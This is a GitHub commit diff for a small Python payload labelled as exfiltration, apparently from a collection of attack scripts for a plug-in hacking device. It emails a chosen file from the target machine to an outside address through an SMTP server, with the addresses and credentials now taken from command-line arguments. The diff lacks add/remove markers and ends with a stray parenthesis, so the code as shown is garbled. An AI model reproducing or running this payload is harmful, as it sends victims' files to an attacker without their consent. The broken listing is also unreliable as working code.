Made changes so python can take bash parameters

pull/16/head
TheDragonkeeper 2017-11-04 15:56:40 +00:00 committed by GitHub
parent 386f4e58af
commit 8f434d2dab
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 12 additions and 10 deletions

View File

@ -6,12 +6,14 @@
# Category: exfiltration
# Target: Any
import sys
sys.path.append("/root/extensions")
from sendemail import send_mail
send_mail('im-just-a-squirrel@giving-you-my-nuts.net', 'EmailTo@SendTo.net',
'You Got My Nuts',
'Enjoy this package',
files=["/Path/To/My/Nuts.txt"],
server='MAIL.SERVER.com', username='USERNAME', password='PASSWORD')
send_mail(sys.argv[1], sys.argv[2],
sys.argv[3],
sys.argv[4],
# files=sys.argv[8],
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7])
)